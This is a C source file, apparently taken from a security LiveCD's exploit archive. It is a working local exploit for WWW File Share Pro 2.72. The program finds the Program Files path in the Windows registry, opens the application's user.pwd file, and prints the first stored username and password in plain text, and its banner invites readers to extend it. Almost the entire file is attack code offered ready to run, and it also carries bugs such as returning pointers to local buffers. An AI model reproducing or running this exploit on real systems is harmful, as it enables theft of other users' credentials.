home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / wwwfileshare / wwwfileshare.c < prev   
C/C++ Source or Header  |  2005-03-05  |  3KB  |  184 lines

  1. /*****************************************************************
  2.  
  3. WWW File Share Pro 2.72 Local Exploit by Kozan
  4.  
  5. Application: WWW File Share Pro 2.72
  6. Vendor:LionMax Software
  7. http://www.lionmax.com/
  8.  
  9. Vulnerable Description: WWW File Share Pro 2.72 discloses passwords
  10. to local users.
  11.  
  12. Discovered & Coded by: Kozan
  13. Credits to ATmaCA
  14. Web : www.netmagister.com
  15. Web2: www.spyinstructors.com
  16. Mail: kozan[at]netmagister[dot]com
  17.  
  18. *****************************************************************/
  19.  
  20. #include <windows.h>
  21. #include <stdio.h>
  22. #include <string.h>
  23.  
  24. #define BUFSIZE 100
  25. HKEY hKey;
  26. char prgfiles[BUFSIZE];
  27. DWORD dwBufLen=BUFSIZE;
  28. LONG lRet;
  29.  
  30. char *username, *password;
  31.  
  32. int adresal(char *FilePath,char *Str)
  33. {
  34. char kr;
  35. int Sayac=0;
  36. int Offset=-1;
  37. FILE *di;
  38. di=fopen(FilePath,"rb");
  39.  
  40. if( di == NULL )
  41. {
  42. fclose(di);
  43. return -1;
  44. }
  45.  
  46. while(!feof(di))
  47. {
  48. Sayac++;
  49. for(int i=0;i<strlen(Str);i++)
  50. {
  51. kr=getc(di);
  52. if(kr != Str[i])
  53. {
  54. if( i>0 )
  55. {
  56. fseek(di,Sayac+1,SEEK_SET);
  57. }
  58. break;
  59. }
  60. if( i > ( strlen(Str)-2 ) )
  61. {
  62. Offset = ftell(di)-strlen(Str);
  63. fclose(di);
  64. return Offset;
  65. }
  66. }
  67. }
  68. fclose(di);
  69. return -1;
  70. }
  71.  
  72. char *oku(char *FilePath)
  73. {
  74.  
  75. FILE *di;
  76. char cr;
  77.  
  78. int i=0;
  79. char Feature[500];
  80.  
  81. if( (di=fopen(FilePath,"rb")) == NULL )
  82. return "";
  83.  
  84. fseek(di,0,SEEK_SET);
  85.  
  86. while(!feof(di))
  87. {
  88. cr=getc(di);
  89. if(cr == ',') break;
  90.  
  91. Feature[i] = cr;
  92. i++;
  93. }
  94.  
  95. Feature[i] = '\0';
  96. fclose(di);
  97. return Feature;
  98. }
  99.  
  100. char *oku2(char *FilePath,char *Str)
  101. {
  102.  
  103. FILE *di;
  104. char cr;
  105. int i=0;
  106. char Feature[500];
  107.  
  108. int Offset = adresal(FilePath,Str);
  109.  
  110. if( Offset == -1 )
  111. return "";
  112.  
  113. if( (di=fopen(FilePath,"rb")) == NULL )
  114. return "";
  115.  
  116. fseek(di,Offset+strlen(Str),SEEK_SET);
  117.  
  118. while(!feof(di))
  119. {
  120. cr=getc(di);
  121. if(cr == ',') break;
  122.  
  123. Feature[i] = cr;
  124. i++;
  125. }
  126.  
  127. Feature[i] = '\0';
  128. fclose(di);
  129. return Feature;
  130. }
  131.  
  132. int main(void)
  133. {
  134. if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  135. "SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
  136. 0,
  137. KEY_QUERY_VALUE,
  138. &hKey) == ERROR_SUCCESS)
  139. {
  140.  
  141. lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, 
  142. NULL,
  143. (LPBYTE) prgfiles, &dwBufLen);
  144.  
  145. if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
  146. {
  147. RegCloseKey(hKey);
  148. printf("An error occured!\n");
  149. return 0;
  150. }
  151.  
  152. RegCloseKey(hKey);
  153.  
  154. }
  155. else
  156. {
  157. RegCloseKey(hKey);
  158. printf("An error occured!\n");
  159. return 0;
  160. }
  161.  
  162. strcat(prgfiles,"\\WWW File Share Pro\\user.pwd");
  163.  
  164. printf("WWW File Share Pro 2.72 Local Exploit by Kozan\n");
  165. printf("Credits to ATmaCA\n");
  166. printf("www.netmagister.com - www.spyinstructors.com \n\n");
  167. printf("This exploit only shows the first record.\n");
  168. printf("You may improve it freely...\n\n");
  169.  
  170. try
  171. {
  172. username = oku(prgfiles);
  173. printf("Username1: %s\n",username);
  174. char password1_temp[BUFSIZE];
  175. wsprintf(password1_temp,"%s%c",username,0x2C);
  176. password=oku2(prgfiles,password1_temp);
  177. printf("Password1: %s\n",password);
  178.  
  179. }catch(...){ printf("An error occured!\n"); return 0; }
  180.  
  181. return 0;
  182.  
  183. }
  184.